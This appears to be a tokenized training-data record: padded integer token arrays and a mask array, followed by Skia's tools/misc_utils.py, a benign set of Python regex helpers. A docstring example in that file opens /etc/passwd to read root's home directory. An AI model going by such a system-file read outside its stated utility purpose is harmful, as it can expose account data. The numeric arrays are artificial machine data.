2416, 8562, 63, 5186, 63, 9473, 7, 202, 3044, 283, 687, 8562, 63, 5186, 7, 202, 3044, 283, 2382, 8562, 63, 5186, 63, 1419, 63, 1001, 13, 3072, 7, 1899, 60, 356, 26, 505, 275, 450, 83, 7, 202, 3044, 283, 1865, 701, 8562, 63, 5186, 63, 1419, 63, 1001, 13, 3072, 7, 14354, 60, 891, 202, 3044, 283, 4328, 12, 8562, 63, 5186, 63, 515, 221, 3268, 450, 83, 2304, 450, 83, 3171, 202, 3044, 283, 1865, 701, 8562, 63, 5186, 63, 1419, 63, 1001, 13, 3072, 7, 14354, 60, 891, 202, 3044, 283, 4328, 12, 8562, 63, 5186, 63, 515, 297, 334, 495, 8, 751, 63, 9473, 395, 3268, 12, 5767, 430, 1128, 372, 291, 14, 697, 63, 3937, 14, 10174, 342, 8065, 199, 318, 1592, 63, 5186, 63, 3176, 8, 277, 12, 7604, 63, 515, 12, 7604, 63, 515, 63, 475, 12, 7604, 63, 1001, 304, 1128, 408, 1128, 327, 5518, 7604, 3906, 1128, 408, 1128, 892, 63, 9473, 275, 5377, 14, 2580, 20, 342, 1128, 291, 14, 697, 63, 3937, 14, 2526, 360, 3176, 1901, 8562, 63, 5186, 334, 596, 63, 5186, 63, 9473, 2584, 202, 2574, 283, 8562, 63, 5186, 63, 515, 2584, 202, 2574, 283, 8562, 63, 5186, 63, 515, 63, 475, 2584, 202, 2574, 283, 8562, 63, 5186, 63, 1419, 63, 1001, 3171, 202, 2574, 283, 1338, 4366, 83, 12, 450, 83, 12, 450, 83, 12, 450, 83, 3196, 334, 1222, 63, 9473, 12, 7604, 63, 515, 12, 202, 6684, 4519, 7604, 63, 515, 63, 475, 12, 202, 6684, 4519, 7604, 63, 1001, 430, 1128, 291, 14, 697, 63, 3543, 342, 1128, 372, 892, 63, 9473, 8065, 199, 318, 1592, 63, 5186, 63, 1807, 8, 277, 12, 7604, 63, 9473, 304, 1128, 408, 1128, 327, 3145, 7604, 3906, 1128, 408, 1128, 291, 14, 697, 63, 3937, 14, 2526, 8, 1039, 283, 1807, 687, 8562, 63, 5186, 7, 1039, 283, 2382, 8562, 63, 5186, 63, 9473, 275, 450, 83, 297, 334, 5186, 63, 9473, 4641, 1128, 291, 14, 697, 63, 3543, 342, 8065, 199, 318, 1592, 63, 5186, 63, 5734, 63, 873, 8, 277, 12, 7604, 63, 9473, 12, 7604, 63, 7045, 304, 1128, 408, 1128, 327, 1678, 6696, 1128, 408, 1128, 291, 14, 697, 63, 3937, 14, 2526, 360, 873, 8562, 63, 5186, 663, 8562, 63, 5186, 63, 1419, 63, 1001, 13, 3072, 7, 11504, 3985, 275, 450, 83, 7, 202, 2574, 283, 2382, 8562, 63, 5186, 63, 9473, 275, 450, 297, 334, 5186, 63, 7045, 12, 7604, 63, 9473, 430, 1128, 291, 14, 697, 63, 3543, 342, 1223, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 10292, 1898, 334, 35, 9, 6900, 5843, 262, 78, 577, 598, 1312, 509, 665, 22522, 357, 2374, 32, 6799, 14, 957, 30, 25052, 961, 2240, 365, 2867, 2032, 27, 1265, 883, 3604, 652, 436, 15, 269, 10292, 2811, 652, 1334, 314, 2895, 402, 314, 1664, 1696, 1684, 844, 10292, 1015, 499, 12, 465, 3267, 701, 314, 2868, 2290, 2752, 14, 25052, 961, 2240, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 1325, 10292, 2428, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 10292, 3169, 503, 3092, 2381, 437, 3115, 3104, 14, 1666, 314, 1664, 10292, 1696, 1684, 844, 1015, 499, 367, 1655, 2436, 14, 25052, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 1696, 1684, 844, 10292, 1015, 499, 3180, 543, 642, 2240, 27, 340, 440, 12, 2218, 370, 314, 2868, 10292, 2290, 2752, 12, 3277, 2020, 8026, 11236, 14259, 12, 12066, 11844, 12, 8226, 12, 10292, 4828, 11315, 13, 10067, 12, 8217, 14, 202, 199, 624, 2999, 199, 646, 5377, 8065, 199, 318, 1592, 63, 5186, 63, 513, 63, 835, 8, 277, 304, 1128, 408, 1128, 327, 372, 2338, 402, 7604, 9643, 1128, 408, 1128, 291, 14, 697, 63, 3937, 14, 2526, 360, 2416, 2338, 21565, 687, 8562, 63, 5186, 358, 1128, 372, 291, 14, 697, 63, 3937, 14, 11591, 3430, 16, 61, 8065, 199, 318, 1592, 63, 5186, 63, 513, 8, 277, 12, 3268, 29, 16, 12, 5767, 29, 403, 12, 922, 63, 9473, 29, 403, 304, 1128, 408, 1128, 327, 372, 769, 402, 7604, 9643, 1128, 408, 1128, 327, 3254, 701, 7464, 12, 536, 12, 5361, 1128, 340, 922, 63, 9473, 365, 488, 26, 1039, 327, 4890, 769, 367, 4628, 83, 1039, 291, 14, 697, 63, 3937, 14, 2526, 360, 2416, 8562, 63, 5186, 63, 9473, 5377, 2584, 202, 3044, 283, 8562, 63, 5186, 63, 515, 2584, 202, 3044, 283, 8562, 63, 5186, 63, 515, 63, 475, 2584, 202, 3044, 283, 8562, 63, 5186, 63, 1419, 63, 1001, 7, 202, 3044, 283, 687, 8562, 63, 5186, 7, 202, 3044, 283, 2382, 8562, 63, 5186, 63, 9473, 315, 334, 2416, 8562, 63, 5186, 63, 9473, 7, 202, 3044, 283, 687, 8562, 63, 5186, 7, 202, 3044, 283, 1865, 701, 8562, 63, 5186, 63, 1419, 63, 1001, 13, 3072, 7, 14354, 60, 891, 202, 3044, 283, 4328, 12, 8562, 63, 5186, 63, 515, 7, 202, 3044, 283, 3268, 450, 83, 2304, 450, 83, 3171, 202, 3044, 283, 1865, 701, 8562, 63, 5186, 63, 1419, 63, 1001, 13, 3072, 7, 14354, 60, 891, 202, 3044, 283, 4328, 12, 8562, 63, 5186, 63, 515, 297, 334, 2743, 12, 5767, 430, 1128, 587, 26, 1039, 291, 14, 697, 63, 3937, 14, 2526, 360, 2416, 8562, 63, 5186, 63, 9473, 5377, 2584, 202, 3044, 283, 8562, 63, 5186, 63, 515, 2584, 202, 3044, 283, 8562, 63, 5186, 63, 515, 63, 475, 2584, 202, 3044, 283, 8562, 63, 5186, 63, 1419, 63, 1001, 7, 202, 3044, 283, 687, 8562, 63, 5186, 7, 202, 3044, 283, 2382, 8562, 63, 5186, 63, 9473, 315, 334, 2416, 8562, 63, 5186, 63, 9473, 7, 202, 3044, 283, 687, 8562, 63, 5186, 7, 202, 3044, 283, 2382, 8562, 63, 5186, 63, 1419, 63, 1001, 13, 3072, 7, 1899, 60, 356, 26, 505, 275, 450, 83, 7, 202, 3044, 283, 1865, 701, 8562, 63, 5186, 63, 1419, 63, 1001, 13, 3072, 7, 14354, 60, 891, 202, 3044, 283, 4328, 12, 8562, 63, 5186, 63, 515, 221, 3268, 450, 83, 2304, 450, 83, 3171, 202, 3044, 283, 1865, 701, 8562, 63, 5186, 63, 1419, 63, 1001, 13, 3072, 7, 14354, 60, 891, 202, 3044, 283, 4328, 12, 8562, 63, 5186, 63, 515, 297, 334, 495, 8, 751, 63, 9473, 395, 3268, 12, 5767, 430, 1128, 372, 291, 14, 697, 63, 3937, 14, 10174, 342, 8065, 199, 318, 1592, 63, 5186, 63, 3176, 8, 277, 12, 7604, 63, 515, 12, 7604, 63, 515, 63, 475, 12, 7604, 63, 1001, 304, 1128, 408, 1128, 327, 5518, 7604, 3906, 1128, 408, 1128, 892, 63, 9473, 275, 5377, 14, 2580, 20, 342, 1128, 291, 14, 697, 63, 3937, 14, 2526, 360, 3176, 1901, 8562, 63, 5186, 334, 596, 63, 5186, 63, 9473, 2584, 202, 2574, 283, 8562, 63, 5186, 63, 515, 2584, 202, 2574, 283, 8562, 63, 5186, 63, 515, 63, 475, 2584, 202, 2574, 283, 8562, 63, 5186, 63, 1419, 63, 1001, 3171, 202, 2574, 283, 1338, 4366, 83, 12, 450, 83, 12, 450, 83, 12, 450, 83, 3196, 334, 1222, 63, 9473, 12, 7604, 63, 515, 12, 202, 6684, 4519, 7604, 63, 515, 63, 475, 12, 202, 6684, 4519, 7604, 63, 1001, 430, 1128, 291, 14, 697, 63, 3543, 342, 1128, 372, 892, 63, 9473, 8065, 199, 318, 1592, 63, 5186, 63, 1807, 8, 277, 12, 7604, 63, 9473, 304, 1128, 408, 1128, 327, 3145, 7604, 3906, 1128, 408, 1128, 291, 14, 697, 63, 3937, 14, 2526, 8, 1039, 283, 1807, 687, 8562, 63, 5186, 7, 1039, 283, 2382, 8562, 63, 5186, 63, 9473, 275, 450, 83, 297, 334, 5186, 63, 9473, 4641, 1128, 291, 14, 697, 63, 3543, 342, 8065, 199, 318, 1592, 63, 5186, 63, 5734, 63, 873, 8, 277, 12, 7604, 63, 9473, 12, 7604, 63, 7045, 304, 1128, 408, 1128, 327, 1678, 6696, 1128, 408, 1128, 291, 14, 697, 63, 3937, 14, 2526, 360, 873, 8562, 63, 5186, 663, 8562, 63, 5186, 63, 1419, 63, 1001, 13, 3072, 7, 11504, 3985, 275, 450, 83, 7, 202, 2574, 283, 2382, 8562, 63, 5186, 63, 9473, 275, 450, 297, 334, 5186, 63, 7045, 12, 7604, 63, 9473, 430, 1128, 291, 14, 697, 63, 3543, 342, 1223, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
MinimalOS/external_chromium_org_third_party_skia
tools/misc_utils.py
95
1692
# Copyright 2014 Google Inc. # # Use of this source code is governed by a BSD-style license that can be # found in the LICENSE file. """Miscellaneous utilities.""" import re class ReSearch(object): """A collection of static methods for regexing things.""" @staticmethod def search_within_stream(input_stream, pattern, default=None): """Search for regular expression in a file-like object. Opens a file for reading and searches line by line for a match to the regex and returns the parenthesized group named return for the first match. Does not search across newlines. For example: pattern = '^root(:[^:]*){4}:(?P<return>[^:]*)' with open('/etc/passwd', 'r') as stream: return search_within_file(stream, pattern) should return root's home directory (/root on my system). Args: input_stream: file-like object to be read pattern: (string) to be passed to re.compile default: what to return if no match Returns: A string or whatever default is """ pattern_object = re.compile(pattern) for line in input_stream: match = pattern_object.search(line) if match: return match.group('return') return default @staticmethod def search_within_string(input_string, pattern, default=None): """Search for regular expression in a string. Args: input_string: (string) to be searched pattern: (string) to be passed to re.compile default: what to return if no match Returns: A string or whatever default is """ match = re.search(pattern, input_string) return match.group('return') if match else default
bsd-3-clause
[ 3, 1898, 6927, 4475, 3277, 14, 199, 3, 199, 3, 3645, 402, 642, 1350, 1233, 365, 10413, 701, 282, 6289, 13, 2487, 4190, 626, 883, 506, 199, 3, 1911, 315, 314, 5113, 570, 14, 421, 199, 624, 30248, 15841, 1041, 421, 199, 646, 295, 421, 199, 533, 799, 5278, 8, 785, 304, 523, 408, 33, 3245, 402, 2955, 3102, 367, 5163, 316, 7645, 1041, 819, 768, 4639, 523, 347, 2754, 63, 12541, 63, 1745, 8, 1210, 63, 1745, 12, 3851, 12, 849, 29, 403, 304, 272, 408, 5278, 367, 5578, 3965, 315, 282, 570, 13, 2930, 909, 14, 339, 3232, 83, 282, 570, 367, 7664, 436, 21858, 1004, 701, 1004, 367, 282, 1336, 370, 272, 314, 5163, 436, 2529, 314, 13566, 1589, 15308, 1572, 4310, 372, 367, 314, 272, 1642, 1336, 14, 221, 12078, 440, 2754, 9371, 14930, 14, 339, 2104, 2893, 26, 267, 3851, 275, 14452, 1231, 8, 26, 4735, 2938, 10, 11224, 20, 9160, 2229, 48, 28, 1107, 13489, 2938, 10, 3171, 267, 543, 1551, 2336, 6839, 15, 12671, 297, 283, 82, 358, 465, 2547, 26, 288, 372, 2754, 63, 12541, 63, 493, 8, 1745, 12, 3851, 9, 272, 1077, 372, 1738, 1159, 5629, 2082, 334, 15, 1231, 641, 3002, 2656, 680, 339, 3033, 26, 267, 1324, 63, 1745, 26, 570, 13, 2930, 909, 370, 506, 1586, 267, 3851, 26, 334, 875, 9, 370, 506, 3032, 370, 295, 14, 2014, 267, 849, 26, 4052, 370, 372, 340, 949, 1336, 339, 1803, 26, 267, 437, 1059, 503, 15685, 849, 365, 272, 408, 272, 3851, 63, 785, 275, 295, 14, 2014, 8, 3401, 9, 272, 367, 1004, 315, 1324, 63, 1745, 26, 489, 1336, 275, 3851, 63, 785, 14, 1733, 8, 604, 9, 489, 340, 1336, 26, 267, 372, 1336, 14, 923, 360, 1107, 358, 272, 372, 849, 819, 768, 4639, 523, 347, 2754, 63, 12541, 63, 875, 8, 1210, 63, 875, 12, 3851, 12, 849, 29, 403, 304, 272, 408, 5278, 367, 5578, 3965, 315, 282, 1059, 14, 339, 3033, 26, 267, 1324, 63, 875, 26, 334, 875, 9, 370, 506, 17543, 267, 3851, 26, 334, 875, 9, 370, 506, 3032, 370, 295, 14, 2014, 267, 849, 26, 4052, 370, 372, 340, 949, 1336, 339, 1803, 26, 267, 437, 1059, 503, 15685, 849, 365, 272, 408, 272, 1336, 275, 295, 14, 1733, 8, 3401, 12, 1324, 63, 875, 9, 272, 372, 1336, 14, 923, 360, 1107, 358, 340, 1336, 587, 849, 421, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 1898, 6927, 4475, 3277, 14, 199, 3, 199, 3, 3645, 402, 642, 1350, 1233, 365, 10413, 701, 282, 6289, 13, 2487, 4190, 626, 883, 506, 199, 3, 1911, 315, 314, 5113, 570, 14, 421, 199, 624, 30248, 15841, 1041, 421, 199, 646, 295, 421, 199, 533, 799, 5278, 8, 785, 304, 523, 408, 33, 3245, 402, 2955, 3102, 367, 5163, 316, 7645, 1041, 819, 768, 4639, 523, 347, 2754, 63, 12541, 63, 1745, 8, 1210, 63, 1745, 12, 3851, 12, 849, 29, 403, 304, 272, 408, 5278, 367, 5578, 3965, 315, 282, 570, 13, 2930, 909, 14, 339, 3232, 83, 282, 570, 367, 7664, 436, 21858, 1004, 701, 1004, 367, 282, 1336, 370, 272, 314, 5163, 436, 2529, 314, 13566, 1589, 15308, 1572, 4310, 372, 367, 314, 272, 1642, 1336, 14, 221, 12078, 440, 2754, 9371, 14930, 14, 339, 2104, 2893, 26, 267, 3851, 275, 14452, 1231, 8, 26, 4735, 2938, 10, 11224, 20, 9160, 2229, 48, 28, 1107, 13489, 2938, 10, 3171, 267, 543, 1551, 2336, 6839, 15, 12671, 297, 283, 82, 358, 465, 2547, 26, 288, 372, 2754, 63, 12541, 63, 493, 8, 1745, 12, 3851, 9, 272, 1077, 372, 1738, 1159, 5629, 2082, 334, 15, 1231, 641, 3002, 2656, 680, 339, 3033, 26, 267, 1324, 63, 1745, 26, 570, 13, 2930, 909, 370, 506, 1586, 267, 3851, 26, 334, 875, 9, 370, 506, 3032, 370, 295, 14, 2014, 267, 849, 26, 4052, 370, 372, 340, 949, 1336, 339, 1803, 26, 267, 437, 1059, 503, 15685, 849, 365, 272, 408, 272, 3851, 63, 785, 275, 295, 14, 2014, 8, 3401, 9, 272, 367, 1004, 315, 1324, 63, 1745, 26, 489, 1336, 275, 3851, 63, 785, 14, 1733, 8, 604, 9, 489, 340, 1336, 26, 267, 372, 1336, 14, 923, 360, 1107, 358, 272, 372, 849, 819, 768, 4639, 523, 347, 2754, 63, 12541, 63, 875, 8, 1210, 63, 875, 12, 3851, 12, 849, 29, 403, 304, 272, 408, 5278, 367, 5578, 3965, 315, 282, 1059, 14, 339, 3033, 26, 267, 1324, 63, 875, 26, 334, 875, 9, 370, 506, 17543, 267, 3851, 26, 334, 875, 9, 370, 506, 3032, 370, 295, 14, 2014, 267, 849, 26, 4052, 370, 372, 340, 949, 1336, 339, 1803, 26, 267, 437, 1059, 503, 15685, 849, 365, 272, 408, 272, 1336, 275, 295, 14, 1733, 8, 3401, 12, 1324, 63, 875, 9, 272, 372, 1336, 14, 923, 360, 1107, 358, 340, 1336, 587, 849, 421, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
